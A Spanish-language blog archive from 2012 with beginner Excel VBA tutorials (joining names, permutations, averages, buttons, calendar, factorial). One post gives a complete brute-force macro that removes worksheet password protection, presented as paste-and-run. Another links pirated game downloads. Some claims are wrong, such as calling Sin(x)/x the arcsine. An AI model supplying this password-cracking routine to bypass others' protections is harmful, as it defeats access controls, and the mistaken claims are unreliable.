Buscamos ser Diferentes

Unir nombre y apellido con macros en Excel 2007

2012-02-18T22:00:00.000-08:00

Visual Basic para Aplicaciones (o VBA) es especialmente diseñado en un modo que permite a las personas que no tienen experiencia en programacion usarlo - y mejorar su experiencia en el uso de Office inmensamente.
VBA para Excel puede ser dominado a un cierto nivel con lecciones semanales paso a paso por cualquiera. Incluso si tu no haz estudiado ningun lenguaje de computacion no deberias tener dificultades con VBA.
Variables
En este ejemplo se introduciran algunos conceptos de programacion - despues de todo VBA es un lenguaje de programacion. Un concepto muy basico es el de variable. Tecnicamente, este es un espacio en la memoria de la computadora para almacenar cierta data. De este modo, cuando tu accedes a este lugar tu consigues la data actualizada.
Ejemplo.

En la columna C queremos tener el nombre completo de estas personas.
Para esto construiremos una macro. Para esto iremos a Vista->Macros->Ver Macros.

En esta ventana escribimos fullname y le damos click a Crear.
Les aparecera el Editor de Visual Basic y escribiremos los comandos.
Lo que haremos sera reunir los valores de la celda A1 y B1 y colocarlo en C1.

Sub fullname()
Range("A1").Select
fname = ActiveCell.Value
Range("B1").Select
surname = ActiveCell.Value
Range("C1").Select
ActiveCell.Value = fname & surname
End Sub

Como se ve en el codigo de arriba asignamos el valor de las celdas activas a una variable (fname, surname). Luego, en la ultima fila, rellamamos la data de las variables. El signo "&" es usado para separar entre variables y texto. Vamos a ejecutar nuestra macro (F5)y ver el resultado en la ventana Excel.

Como vemos todo salio OK, pero queremos tener un espacio entre el primer nombre y el apellido, asi que vamos a actualizar la ultima fila del codigo

Sub fullname()
Range("A1").Select
fname = ActiveCell.Value
Range("B1").Select
surname = ActiveCell.Value
Range("C1").Select
ActiveCell.Value = fname & " " & surname
End Sub

ejecutamos la macro nuevamente:

Ahora salio OK, pero si cambias el nombre o apellido, la celda C1 no se actualiza. Para cambiarlo, tienes que ejecutar la macro otra vez (aunque no sea muy dificil de hacer). Esto es muy importante de recordar, las celdas las cuales se les asignan valores via macro solo cambian cuando la macro es ejecutada.
Ahora vamos a hacer lo mismo para las filas 2-5. Sin embargo, antes de copiar y pegar el codigo 5 veces vamos a hacerlo un poco mas corto, utilizando la coleccion Cells.

Sub fullname()
fname = Cells(1, 1).Value
surname = Cells(1, 2).Value
Cells(1, 3).Value = fname & " " & surname
End Sub

En Excel VBA, "Cell" es un objeto dentro de la coleccion Cells, el cual tiene ciertas propiedades. Una de tales propiedades es "Value" - el valor de la celda. Recuerda, no la formula, no el formato - solo el valor. Accediendo a una valor de la celda se hace gracias a partir de su ubicacion en su fila y su columna. Cells(1, 1) accedera a la primera fila y la primera columna - A1. Si utilizamos Cells tenemos que indicar primero la fila y luego la columna, asi Cells(1, 2) accedera a B1 y no a A2.
Ahora vamos a copiar y pegar el codigo para cambiar la segunda fila:

Sub fullname()
fname = Cells(1, 1).Value
surname = Cells(1, 2).Value
Cells(1, 3).Value = fname & " " & surname
fname = Cells(2, 1).Value
surname = Cells(2, 2).Value
Cells(2, 3).Value = fname & " " & surname
End Sub

Como puedes ver, hemos cambiado los indices de los objetos de las celdas. Pero como vemos el valor de la variable fname, almacena primero el contenido de la celda A1 (Jhon) y despues de ejecutar la 3 fila, almacena la celda A2 (Sidney).
Para ver esto de otra manera, utilizaremos la ventana de inspecciones.
En tu editor de Visual Basic, vamos a ir al menu principal->Ver->Ventana de Inspecciones.

Veras una ventana nueva en la parte inferior de tu pantalla, la cual se le llama "inspecciones". En esta ventana podemos observar los valores de ciertas variables durante la ejecucion de nuestro codigo. Vamos a agregar nuestra variable. Para hacer eso, click derecho en una variable (fname) y elegir Agregar Inspeccion. Presionan OK en la ventana que aparecera.

Hagan lo mismo con la variable surname.
Al final deberias tener las 2 variables en la ventana de inspecciones.
Ahora vamos a ejecutar el codigo linea por linea (F8). Despues de ejecutar la segunda linea de codigo, mira los valores de las variables.

Sigue presionando F8 hasta llegar al final de la linea y veras que los valores de las variables cambian.
Ahora cuando regresen a la hoja de Excel veran esto.

La segunda fila esta OK.
Ahora una vez que hemos comprendido como trabajan las variables, vamos a copiar y pegar el codigo para todas las 5 variables.

Sub fullname()
fname = Cells(1, 1).Value
surname = Cells(1, 2).Value
Cells(1, 3).Value = fname & " " & surname
fname = Cells(2, 1).Value
surname = Cells(2, 2).Value
Cells(2, 3).Value = fname & " " & surname
fname = Cells(3, 1).Value
surname = Cells(3, 2).Value
Cells(3, 3).Value = fname & " " & surname
fname = Cells(4, 1).Value
surname = Cells(4, 2).Value
Cells(4, 3).Value = fname & " " & surname
fname = Cells(5, 1).Value
surname = Cells(5, 2).Value
Cells(5, 3).Value = fname & " " & surname
End Sub

Pero como puedes ver es una mala idea para escribir un codigo. En estos casos se utiliza un "looping", eso ya lo explicare en otro post.
Ejecuta el codigo y mira el resultado.

pero que sucede si alguien agrega una columna nueva, algo como esto:

Lo que debemos hacer, es establecer una celda activa. Para esto cambiamos nuestra macro agregando la columna inicial:

startcol = ActiveCell.Column

Esto significa que empezaremos numerando la columna de la celda activa. En nuestro caso sera 2(puedes comprobar agregando la variable startcol a la ventana de inspecciones). El codigo de la primera fila lucira asi:

Estamos utilizando la variable startcol para definir la columna del primer nombre (el cual es startcol), columna apellido(el cual es startcol + 1) y la columna de nombre completo (startcol + 2). Ejecutamos el codigo para comprenderlo mejor:

Sub fullname()
startcol = ActiveCell.Column
fname = Cells(1, startcol).Value
surname = Cells(1, startcol + 1).Value
Cells(1, startcol + 2).Value = fname & " " & surname
fname = Cells(2, startcol).Value
surname = Cells(2, startcol + 1).Value
Cells(2, startcol + 2).Value = fname & " " & surname
fname = Cells(3, startcol).Value
surname = Cells(3, startcol + 1).Value
Cells(3, startcol + 2).Value = fname & " " & surname
fname = Cells(4, startcol).Value
surname = Cells(4, startcol + 1).Value
Cells(4, startcol + 2).Value = fname & " " & surname
fname = Cells(5, startcol).Value
surname = Cells(5, startcol + 1).Value
Cells(5, startcol + 2).Value = fname & " " & surname
End Sub

Ojo que la celda active la ponemos en B1. Ejecutamos el codigo y aparecera esto:

Mostrar todas las permutaciones o combinaciones de letras usando Excel VBA

2012-02-18T18:26:00.000-08:00

Aqui les paso un ejemplo que encontre hace poco, todos los meritos de este ejemplo son para YOSHIDA, Hajime, aqui solo les comparto el ejemplo que encontre y lo explicare.
En Japon, todos los estudiantes aprenden "Permutaciones y Combinaciones" en el primer grado de la escuela secundaria. Como primera leccion, los profesores muestran todos los patrones de permutacion y combinaciones. Probablemente 4!=24 patrones o ₆C₃=20 patrones. Despues de mostrar todos los patrones, para calcular el valor de permutaciones o combinaciones es el problema para estudiantes.
Lo que se hace para entender casos como estos aqui cito una parte de un libro "el frasco misterioso de Anno" :

Hay un frasco.
En el frasco, esta el mar.
En el mar, hay una isla.
En la isla, hay 2 paises.
En cada pais hay 3 colinas.
En cada colina, hay 4 castillos.

Este libro muestra desde 1! a 8!=40320 puntos en las paginas. Pero, si queremos mostrar 10! = 3628800, necesitaremos mas de 180 paginas. Esto parece real para los estudiantes.
Aun para los profesores, es duro y doloroso mostrar todos los patrones de 5! o mas a mano. Pero las computadores si pueden hacerlo. Algun programa tiene la funcion de mostrar permutaciones. Desafortunadamente, estos programas no son tan populares en las escuelas. Excel es mas conocido para profesores y estudiantes. Y es una herramienta muy poderosa para la educacion en matematicas. Ademas, Excel VBA (Visual Basic para Aplicaciones) es un lenguaje de programacion poderoso.
JK para Excel es una hoja de trabajo con un programa VBA para mostrar todos los valores al aplicar permutaciones o combinaciones. JK simboliza Junretsu(permutacion) y Kumiawase(combinacion) en japones.
CASO 1
SMILE tiene 5 letras, y todas diferentes. Escribe SMILE y clickea en GO.

Todos los patrones de la permutacion lo veran a continuacion:

Ya que JK es una hoja de Excel, los patrones de salida pueden ser escritos a un archivo de texto.
CASO 2
FOOTBALL tiene 8 letras. 2 O y 2 L son identicas. El numero de permutaciones de "FOOTBALL" es 8!/(2!*2!)=10080. El programa realizado muestra a todos.

Dado que el maximo de filas es 65536 en Excel, JK puede mostrar los siguientes patrones.

8!=40320
₉P₆=60480
18C₉=48620

CASO 3
JK puede mostrar ambos casos, ya sea permutaciones o combinaciones. Mire los siguientes ejemplos.
"CAKE" tiene 4 letras. Y todas son diferentes. Vamos a tomar 2 letras a la vez.
Numero de permutaciones=₄P₂=12
Numero de combinaciones=₄C₂=6

El algoritmo principal de JK es una llamada recurrente. No es un algoritmo inusual. Cuando dibujamos un diagrama del arbol, usamos este algoritmo.

Ahora como ya vieron como funciona la macro, les voy a explicar el codigo que tiene.
Al abrir el archivo veran 2 botones (Input Form y Reset)

el codigo que se ejecuta al pulsar el boton Input Form es este:

'// Input Form
  Sheet1.Columns(1).ClearContents
  Label1.Caption = ""
  UserForm1.Show

este codigo lo que hace es limpiar la columna A o 1 de la Hoja1, limpiar el Label1 (es ese rectangulo morado que muestra los resultados) y mostrar el formulario UserForm1.
El formulario que abre es este.

y el codigo que se ejecuta al presionar en el boton Go es este:

'// GO
  Dim OutputStr As String
  Dim SortedStr As String
  Dim startDtm As Date, endDtm As Date 'Process time
  Dim i As Integer
  Dim Msg As String
  Dim TempStr As String
      
  Clr_text
  cnt = 0
  nest = 0
  OverFlowBol = False
  OutputStr = ""
  InputStr = TextBox1.Text
  startDtm = Now()
  Label3.Caption = "Counting ..."
  Label4.Caption = ""
  DupChrChk InputStr, SortedStr

  If JKsw = True Then
     Perm OutputStr, InputStr, r 'Permutations
  Else
     Comb OutputStr, SortedStr, r 'Combinations
  End If
  
  endDtm = Now()
  For i = 1 To 20: Beep: Next i
  
  If OverFlowBol = False Then
    TempStr = cnt & " way"
    If cnt > 1 Then
       TempStr = TempStr & "s."
    Else
       TempStr = TempStr & "."
    End If
    Label3.Caption = TempStr
  Else
    Label3.Caption = "Stop at " & cnt & " "
    Msg = "Process Limit !"
    MsgBox Msg, vbCritical
  End If
  
  Label4.Caption = "Time:" & DateDiff("s", startDtm, endDtm) & " sec."
  Wrt_text
  TextBox1.SetFocus

lo que se hace aqui es inicializar variables con Dim y despues llamar a la macro Clr_Text que contiene este codigo

'// Reset data
  UserForm1.Label3.Caption = ""
  UserForm1.Label4.Caption = ""
  Sheet1.Activate
  Sheet1.Label1.Caption = ""
  Sheet1.Columns(1).ClearContents
  Sheet5.Activate
  Sheet5.Range("B2", "D21").ClearContents
  Sheet5.Range("F7", "H12").ClearContents
  Sheet5.Label1.Caption = ""
  Sheet1.Activate

como se puede ver lo que hace es limpiar ciertos controles, ahora siguiendo con el evento Go de arriba, se almacena la palabra ingresada en InputStr mientras que OutputStr se inicializa como una variable sin caracteres, y se evalua si JKsw es verdadero, esta variable esta inicializada mas arriba por lo que se puede llamar en cualquier funcion, y dado que se inicializo As Boolean por defecto sera verdadera, entonces llamara a la macro Perm la cual se le ingresaran 3 valores y el codigo que ejecutara esta macro sera el siguiente:

Sub Perm(OutNowStr As String, InNowStr As String, sel As Integer)
'// Permutations
  
  Dim k As Integer
  Dim i As Integer
  Dim OutNextStr As String  '
  Dim InNextStr As String   '
  Dim ChkStr As String      '
  Dim chr1Str As String     '
  Dim hit As Integer        '
  
  nest = nest + 1
  If OverFlowBol = True Then
    nest = nest - 1
    Exit Sub
  End If
  
  If sel = 0 Then
    OutProc OutNowStr
  
  Else
    k = Len(InNowStr)
    ChkStr = ""
    
    For i = 1 To k
      chr1Str = Mid(InNowStr, i, 1)
      hit = InStr(ChkStr, chr1Str)
            
      If hit = 0 Then
        ChkStr = ChkStr & chr1Str
'    -------------------------------------------------------------------
        OutNextStr = OutNowStr & chr1Str
        InNextStr = Mid(InNowStr, 1, i - 1) & Mid(InNowStr, i + 1, k - i)
        Perm OutNextStr, InNextStr, sel - 1
'    -------------------------------------------------------------------
      End If
    Next i
  End If
  nest = nest - 1
End Sub

como se ve aqui este codigo realiza las permutaciones, ahora esto sera en caso de que JKsw sea verdadero que como lo dije sera en su defecto, pero que pasa si es falso vemos que llama a otra macro: Comb. Para ver como cambia el valor de la variable vemos en el formulario 2 radiobutton, estos cambian el valor de la variable JKsw ya que si vemos el codigo:

Private Sub OptionButton1_Click()
'// "Permutations"
  JKsw = True
  JKstr = "Permutations"
End Sub

ahora volvemos a la opcion de que JKsw sea falso, llamara a la macro Sub que ejecutara el siguiente codigo:

Sub Comb(OutNowStr As String, InNowStr As String, sel As Integer)
'// Combinations
  
  Dim k As Integer
  Dim i As Integer
  Dim OutNextStr As String  '
  Dim InNextStr As String   '
  Dim ChkStr As String      '
  Dim chr1Str As String     '
  Dim hit As Integer        '
  
  nest = nest + 1
  If OverFlowBol = True Then
    nest = nest - 1
    Exit Sub
  End If
  
  If sel = 0 Then
    OutProc OutNowStr
  
  Else
    k = Len(InNowStr)
    ChkStr = ""
    
    For i = 1 To (k - sel + 1)         ' <-- Caution!
      chr1Str = Mid(InNowStr, i, 1)
      hit = InStr(ChkStr, chr1Str)
            
      If hit = 0 Then
        ChkStr = ChkStr & chr1Str
'    -------------------------------------------------------------------
        OutNextStr = OutNowStr & chr1Str
        InNextStr = Mid(InNowStr, i + 1, k - i)
        Comb OutNextStr, InNextStr, sel - 1
'    -------------------------------------------------------------------
      End If
    Next i
  End If
  nest = nest - 1
End Sub

ahora como vemos en StartDtm y EndDtm se almacenaron los valores al empezar y terminar el codigo, ahora seguimos en el evento click del boton Go, aqui se evalua si OverFlowBol = False y dado que se inicializo asi muestra el numero de celdas que contienen las permutaciones o combinaciones respectivas asi como los ejemplos anteriores que al poner SMILE salia 120 ways (vean la figura de arriba) y despues mostrara el tiempo que demoro en procesar las permutaciones en el Label4, como vimos antes en 120 permutaciones mostro 0 segundos pero en 10080 permutaciones le tomo 6 segundos, este tiempo lo calcula de restar EndDtm y StartDtm. Ahora si pulsamos Reset se ejecutara este boton

Private Sub CommandButton2_Click()
'// Reset Data
  TextBox1.Text = ""
  TextBox2.Text = ""
  Clr_text
  TextBox1.SetFocus
End Sub

aqui lo que hace es limpiar los textbox, llamar al procedimiento Clr_text y poner el cursor en el textbox1. El boton Close tiene el siguiente codigo

Private Sub CommandButton3_Click()
'// Close Form
  End
End Sub

En el codigo para elegir el numero de combinaciones o permutaciones se utiliza un spinbutton que tiene el siguiente codigo:

Private Sub SpinButton1_Change()
'// Change the value of "r" by spin button
  TextBox2.Text = SpinButton1.Value
End Sub

y vemos que en el evento textchange del textbox2 se llama al spinbutton

Private Sub TextBox2_Change()
'// Chose r
  Dim msgStr As String
  
  r = Val(TextBox2.Text)
  n = Len(TextBox1.Text)
  
  If TextBox2.Text <> "" Then
    If (Not IsNumeric(TextBox2.Text)) Or _
       r < 0 Or r > n Then
      msgStr = "Choose 0 <= r <= " & n
      MsgBox msgStr, vbExclamation
      r = n
      TextBox2.Text = n
    End If
  End If
  
  SpinButton1.Max = n
  SpinButton1.Value = r
End Sub

Ahora al elegir los radiobuttons se llamara a los procedimientos Perm o Comb

Private Sub OptionButton1_Click()
'// "Permutations"
  JKsw = True
  JKstr = "Permutations"
End Sub

Private Sub OptionButton2_Click()
'// "Combinations"
  JKsw = False
  JKstr = "Combinations"
End Sub

y este es el codigo con el que se inicializa el formulario

Private Sub UserForm_Initialize()
'// Initialize
  OptionButton1.Value = True
  OptionButton1_Click   'Set "Permutation"
  CalSheetBol = True    'Write to CalcSheet
  n = 0
  r = 0
  UserForm1.SpinButton1.Max = 0
  UserForm1.SpinButton1.Value = 0
  Load UserForm1
End Sub

no tengo mucho tiempo para explicar el resto de codigo, asi que aqui les dejo el ejemplito para que se guien y espero les haya servido esta pequeña explicacion que hice.

Metodo securo para ocultar hojas en Excel 2007

2012-02-18T10:43:00.000-08:00

A menudo se ocultan las hojas de Excel, pero cualquier usuario no autorizado puede desocultarla rapidamente. Si desean utilizar un metodo mas seguro para ocultar hojas, tienen que utlizar el editor de Visual Basic (VBE). Afortunadamente, esta es una tecnica para ustedes, y que los intrusos no sospecharan.
Primero, vamos a ocultar una hoja por el metodo mas inseguro:

Abrimos un archivo Excel.
Damos click derecho en la Hoja2
Seleccionamos Ocultar
OH QUE METODO MAS SEGURO :)

Ahora para mostrar la hoja oculta, damos click derecho en otra hoja, y nos saldra en el menu la Opcion Mostrar, le damos click y seleccionamos la hoja que queremos ver.

Como ven esta opcion es muy insegura si realmente deseamos proteger datos.
Excel tiene una opcion mas segura conocida como Muy Oculta o Very hidden. Una hoja en la opcion very hidden no puede ser desocultada utilizando la interface de usuario de Excel porque no aparece en la ventana de Mostrar asi que el usuario de nivel promedio no sabra nisiquiera que la hoja existe.
Para lograr esto necesitaras el Editor de Visual Basic para aplicar esta propiedad.

Presiona ALT+F11
En la ventana Explorador de Proyectos, seleccionas la hoja que seas desocultar. Yo elegi la hoja 2.

En la ventana de propiedades, en la propiedad Visible seleccionan 2- xlSheetVeryHidden del dropdownlist

Cuando retornen a Excel veran que la Hoja2 no aparecera, y si se van a la Opcion Mostrar solo saldran otras hojas que hayan ocultado por el metodo simple.

Macro para calcular el promedio en Excel 2007

2012-02-18T10:04:00.000-08:00

Voy a poner algunos conceptos previos.

Una macro es una rutina programada por el usuario que puede ser llamada mediante atajos de teclado
Visual Basic para Aplicaciones (VBA) es un lenguaje de programacion utilizado por los Programas de Microsoft Office que permite al usuario desarrollar rutinas personalizadas y funciones
Funciones son rutinas que devuelven valores

Ahora si vamos con el ejemplo.
Primero abrimos una hoja de calculo y la llenamos con 7 numeros en forma vertical, asi como en la figura:

ahora seleccionamos la celda superior de la derecha, asi como ven arriba (celda B2)
Ahora vamos a grabar la macro seleccionando Vista->Macro->Grabar Macro y modifican las propiedades (en metodo abreviado escriban la letra que deseen, con esa combinacion de teclas llamaran a la macro mas adelante)

Ahora escribimos la formula de entrada en la celda B2 y luego detenemos la macro yendo a Vista->Macro->Detener Macro

Para detener la macro, tambien puedes utilizar el boton Stop que esta en la parte inferior izquierda de la hoja de Excel.

Vamos a probar la macro ubicandonos en otra columna, escribimos 7 numeros y en la celda del primer numero nos movemos a la derecha y pulsamos el atajo de teclado que les indique en la figura de arriba (Ctrl+a)
y veran que aparece el mismo resultado

Ahora presionamos ALT+F11 para acceder al modulo de Visual Basic como muestra la figura:

eliminen la ultima linea

Range("C2").Select

de lo contrario, al presionar Ctrl+a siempre retornara a la celda C2.
Para grabar la macro como un archivo Visual Basic, vayan a Archivo->Exportar Archivo y grabenlo como un archivo Basic [*.bas] (asegurense que el Modulo1 este remarcado).

Espero les haya servido este pequeño ejemplito :)

VBA Command Button Example with Excel

2012-02-16T06:02:00.000-08:00

En este ejemplo vamos a calcular el volumen y el area de la superficie de un bloque determinado de tal manera que las longitudes de los lados estan escritos en Excel en las celdas B1:B3 como ven abajo. El codigo deberia ejecutarse al presionar el boton llamado Calcular V & A. El codigo deberia automaticamente mostrar el resultado en las celdas A5 y A6.

Lo que hacemos es escribir los valores de w, h y d en las celdas desde B1 a B3 y poner un boton de comando ActiveX (ya les explique en un ejemplo anterior como poner botones en Excel 2007), y le damos doble click, aqui nos aparecera un editor de codigo de Visual Basic.

Ventana de codigo para el CommandButton1
y escriben este codigo:

'declaramos variables tipo double
Dim w As Double, h As Double, d As Double, volume As Double, sa As Double
'capturamos los valores de las celdas B1 a B3
w = Range("B1").Value 'aqui capturamos el ancho
h = Range("B2").Value 'aqui capturamos el largo
d = Range("B3").Value 'aqui cpturamos el espesor
'calculamos el volumen
volume = w * h * d
'calculamos el area de la superficie
sa = 2 * w * h + 2 * h * d + 2 * w * d
'mostramos los resultados en las celdas A5 y A6
Range("A5").Value = "El volumen es " & volume & " cu. in"
Range("A6").Value = "La superficie es " & sa & " sq. in"
'seleccionamos

para compilar el codigo van a Depuracion - Compilar VBA Project.
cierran el editor, y al pulsar el boton les aparecera el resultado asi:

Mostrar un calendario en Excel 2007

2012-02-13T18:03:00.000-08:00

Este pequeño ejemplo es para mostrarles como podemos con un poco de codigo jugar con los controles.
Para utilizar el calendario vamos al boton de Office (esquina superior izquierda) y elegimos el boton Opciones de Excel.
Una vez aqui se van a Personalizar - Todos los Comandos.

Una vez aqui en la lista busquen uno que diga mas controles o More Controls dependiendo de como configuren su idioma.
Ahora este icono les saldra al del boton rehacer.

le dan click y les aparecera una lista. Elijan el que dice Control de Calendario 12.0
ahora les aparecera un calendario:

le dan doble click les aparecera asi:

Private Sub Calendar1_Click()

End Sub

escriben este codigo debajo de click()

'Return the date in day/month/year format
'Then hide the calendar
    ActiveCell.NumberFormat = "d/m/yyyy"
    ActiveCell = Calendar1.Value
    Calendar1.Visible = False

con esto lo que hacemos es mostrar en la celda activa la fecha que marque el calendario.
ahora escribimos este codigo despues de End Sub

Private Sub Worksheet_SelectionChange(ByVal Target As Range)
    'When any cell on the worksheet is selected, this routine runs.
    'If any cell in the range A3:A500 is selected, then show the calendar
    If Not Application.Intersect(Range("A3:A500"), Target) Is Nothing Then
    Calendar1.Left = Target.Left + Target.Width
    Calendar1.Top = Target.Top + Target.Height
    Calendar1.Visible = True
    Else
    Calendar1.Visible = False
    End If
End Sub

con este codigo le estamos diciendo a la hoja1 que si damos click en una celda fuera del rango A3:A5000 el calendario se oculta, caso contrario se ubicara a su derecha y en la parte inferior(eso lo pueden ver en las propiedades left y top que realiza una suma).
Para probar el codigo presionan F5 o el boton Play de color verde que aparece arriba y se van a la hoja y dan click en una celda fuera del rango que les puse antes y luego eligen una celda dentro del rango.
disculpen si no explico algunas partes del codigo, ya no tengo mucho tiempo como quisiera pero espero les sirva este ejemplo para que se enfrasquen mas en la programacion con excel y ver que con macros se pueden hacer muchas cosas :)

Codigo en Visual Basic de IF con macros en Excel

2012-02-13T17:13:00.000-08:00

aqui tengo un ejemplo de como utilizar un IF con macros que encontre en una pagina de una unviersidad, las funciones seran llamadas desde unas celdas por lo que al abrir el archivo Excel ya apareceran con ciertos valores, lo que haremos en este ejemplo sera a partir de una fecha obtener su numero ordinal respecto de la semana si es domingo sera 1, lunes 2, martes 3,...., devuelve el numero de mes, el año, la hora el minuto y el segundo, y tambien retorna un mensaje si es que ese dia es un fin de semana o no, el ejemplo tenia 2 fechas yo decidi probarlo con la fecha de hoy y funciono :)
estos son los resultados que aparecen con la fecha de hoy

aqui les explicare brevemente cada macro:

Function age(birthdate)
    age = Int((Int(Now() - birthdate)) / 365)
End Function

en esta funcion se devuelve la diferencia de años entre la fecha que figura en la celda A1 (09/12/1982)

Function DD(da As Date)
    DD = Weekday(da)
End Function

aqui se devuelve el numero ordinal del dia al que corresponde la fecha como les explique mas arriba.

Function MM(d)
    MM = Month(d)
End Function

Function YY(d)
    YY = Year(d)
End Function

Function HH(d)
    HH = Hour(d)
End Function

Function MI(d)
    MI = Minute(d)
End Function

Function SS(d)
    SS = Second(d)
End Function

en estas funciones se devuelve el numero de mes, el año, la hora, el minuto y el segundo.
Se que con este codigo hasta aqui no hemos utilizado el IF, aqui veran el IF en accion.

Function Si(x)
      If x = 0 Then
          Si = 1
      Else
          Si = Sin(x) / x
      End If
End Function

esta funcion lo que hace es calcular el arcoseno de un angulo dado, asi que si escriben -1 y llaman a esta funcion en cualquier celda escribiendo =Si(-1) les saldra

si, el mismo valor que sale de calcularlo con google.
hay otras funciones sencillas que tienen un if anidado que van a encontrar en el excel las pueden ver al presionar ALT+F11, aqui estoy explicando las funciones que me parecieron interesantes, como esta:

Function Fthree(x)
      Fthree = IIf(x = 0, 1, Sin(x) / x)
End Function

esta funcion expresa de otra forma las condicionales, retornando 1 si el valor que se ingresa es 0 o devolviendo la division en caso de ser otro valor, esto se hace para controlar un error al dividir entre 0.
la funcion que les dije que devuelve si la fecha es un fin de semana es esta:

Function WE(x As Date) As String
      Dim temp As Integer
      temp = Weekday(x)
      If temp = 1 Or temp = 7 Then
          WE = "That day falls on a weekend."
      Else
          WE = "That day is a weekday."
      End If
End Function

aqui pueden descargar el archivo: Pincha aqui

Factorial con Macros en Visual Basic y Excel 2007

2012-02-11T17:35:00.000-08:00

hola como estan, aqui les traigo un ejemplo de como calcular un factorial de un numero utilizando visual basic en Excel, para los que aun no se hayan animado por utilizar Visual podrian empezar por este pequeño ejemplo que hice, se que hay una funcion que tambien lo hace pero esto lo hice para gente que intente aprender a usar Visual Basic en Excel.
Lo que vamos a hacer en este ejemplo es a partir de un numero que se ingrese en una celda vamos a calcular su factorial pulsando un boton, en Excel 2003 recuerdo que era mas sencillo colocar un boton, para Office 2007 lo que tienen que hacer es ir al simbolo que esta en la esquina superior izquierda(el que esta al costado del diskette), le dan click y se van a opciones de excel

ahora en la ventana que les aparece se van a Personalizar y en el combo eligen todos los comandos, una vez aqui les va a salir una lista y se van al que dice Boton de Comando Control de Active X.

bueno hasta aqui lo que hemos logrado es mostrar el boton jajaj, pero aun no hace nada lo que vamos a hacer es Presionar ALT+F11 y nos va a salir el Editor de Visual Basic para Aplicaciones, una vez aqui vamos a declarar unas variables que vamos a usar para este programa, asi que en la primera linea pondremos

Option Explicit

con esto estamos forzando a definir el tipo de todas las variables(esto por las buenas practicas de programacion), ahora declaramos variables ya que al declararlas las macros se ejecutaran mas rapido y usaran menos memoria.
Ahora la sintaxis para declarar variables en VBA es:

Dim varname As type, varname As type,...

una buena practica que se hace al programar es ubicar todas las declaraciones Dim al principio del programa y agruparlas por el mismo tipo, mas abajo entenderan a lo que me refiero.
Bueno esto seguro lo habran visto en varios foros o pdfs de programacion en c o en otro lenguaje pero aqui lo citare rapido y fugaz los tipos de variables numericas:

Integers
- tipo Integer (el rango va de -32 768 a 32767 o 2 bytes)
- tipo Long (el rango va de -2 147 483 648 a 2 147 483 647 o 4 bytes)
Real o floating point
- Tipo single (cerca de 7 digitos significativos de precision o 4 bytes)
- Tipo double (cerca de 15 digitos significativos de preicion o 8 bytes)

Ahora para este ejemplo no necesitamos variables tipo double o long asi que con declararlas de tipo Single sera suficiente.

Option Explicit
Sub factorialconmacro()
    Dim n As Single, c As Single, initial As Single
    Dim i As Integer
    'input data
    'Application.Workbooks("Libro1.xls").Worksheets("Hoja1").
    Sheets("Hoja1").Select
    Range("B4").Select
    n = ActiveCell.Value
    initial = 1
    'calculo
    For i = 1 To n
        'calculamos el factorial
        c = initial * i
        initial = c
    Next i
    'resultado de salida
    Range("B5").Select
    Cells(5, 1) = "El factorial es: "
    
    ActiveCell.Value = c    
    
End Sub

en este codigo estamos eligiendo que el numero se ingresara en la celda B4 de la Hoja1, y su factorial se mostrara en la misma hoja pero en la celda B5 el cual le enviamos con el valor de c.
Ahora para que el boton que pusimos mas arriba ejecute el codigo le damos doble click y les saldra algo asi

Private Sub CommandButton1_Click()

End Sub

lo que tienen que hacer es poner dentro del evento click el nombre de la funcion

Private Sub CommandButton1_Click()
factorialconmacro
End Sub

Como ven aqui cuando pulsen el boton les saldra algo asi:

espero les haya servido este ejemplito, voy a tratar de poner mas y si es que no lo explique muy bien sorry me falta tiempo pero voy a tratar de poner too lo que pueda y si tienen alguna duda escribanmela por el chat que esta a su derecha y yo lo leere gracias por su tiempo :)

Liga BBVA en Vivo en directo online gratis

2012-01-29T14:17:00.001-08:00

Como desproteger hoja de Excel con contraseña usando Visual Basic

2012-01-29T13:39:00.000-08:00

Se puede desproteger la hoja mediante esta rutina que halla un password válido para la hoja (y que no tiene nada que ver con el que inicialmente tenía, ¡pero que es válido!). Copiar la rutina aquí expuesta y pegarla en un módulo cualquiera del mismo libro, con ayuda del editor de Visual Basic (ALT+F11 para abrir el editor). Vamos a Insertar-Modulo, pegamos el codigo que voy a poner mas abajo, ejecutan con F5 y la hoja ya estará desprotegida.
Esto lo probe con un archivo que encontre hace tiempo por Internet

haciendo los pasos que les indique arriba ejecutan este codigo:

Sub PasswordBreaker()
Sub PasswordBreaker()

' Breaks worksheet password protection.

Dim intPress As Integer

intPress = MsgBox("Preparing to disable your password...", _
vbQuestion + vbOKCancel, "Password Breaker")

Dim i As Integer, j As Integer, k As Integer
Dim l As Integer, m As Integer, n As Integer
Dim i1 As Integer, i2 As Integer, i3 As Integer
Dim i4 As Integer, i5 As Integer, i6 As Integer

On Error Resume Next

For i = 65 To 66: For j = 65 To 66: For k = 65 To 66
For l = 65 To 66: For m = 65 To 66: For i1 = 65 To 66
For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66
For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _
Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

If ActiveSheet.ProtectContents = False Then

MsgBox "OK, your password has been disabled. Try not to forget it again...", 0, "Password Breaker"

MsgBox "One usable password is " & Chr(i) & Chr(j) & _
Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _
Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Exit Sub

End If

Next: Next: Next: Next: Next: Next
Next: Next: Next: Next: Next: Next

End Sub

y les aparecera un mensaje como este:

Descargar Gratis Metal Slug Coleccion Completa Para PC

2012-01-29T08:23:00.000-08:00

Bueno hoy les traigo La Coleccion Completa de Metal Slug
Desde la “X” hasta la “5″ incluye las versiones Hechos por los Fans de este Juego
Peso del Archivo Comprimido: 276.13 MB
Peso del Archivo Descomprimido: 300 MB (mas o menos)

Metal Slug
Metal Slug 2
Metal Slug 3
Metal Slug 4
Metal Slug 5
Metal Slug X

Requisitos minimos:
Pentium 200 MHz
Windows 95/98/ME/XP
32 Mb RAM
280 Mb de espacio libre en el disco

Descargar
http://rapidshare.com/files/237606273/Metal_Slug_Saga_Completa.part1.rar
http://rapidshare.com/files/237587974/Metal_Slug_Saga_Completa.part2.rar
http://rapidshare.com/files/237355542/Metal_Slug_Saga_Completa.part3.rar

Macro de Excel para convertir numeros en letras

2012-01-28T15:19:00.000-08:00

Esta macro se utiliza como fórmular para convertir números en letras.
Es muy útil para rellenar facturas, por ejemplo, en el campo preimpreso de “Son:”.

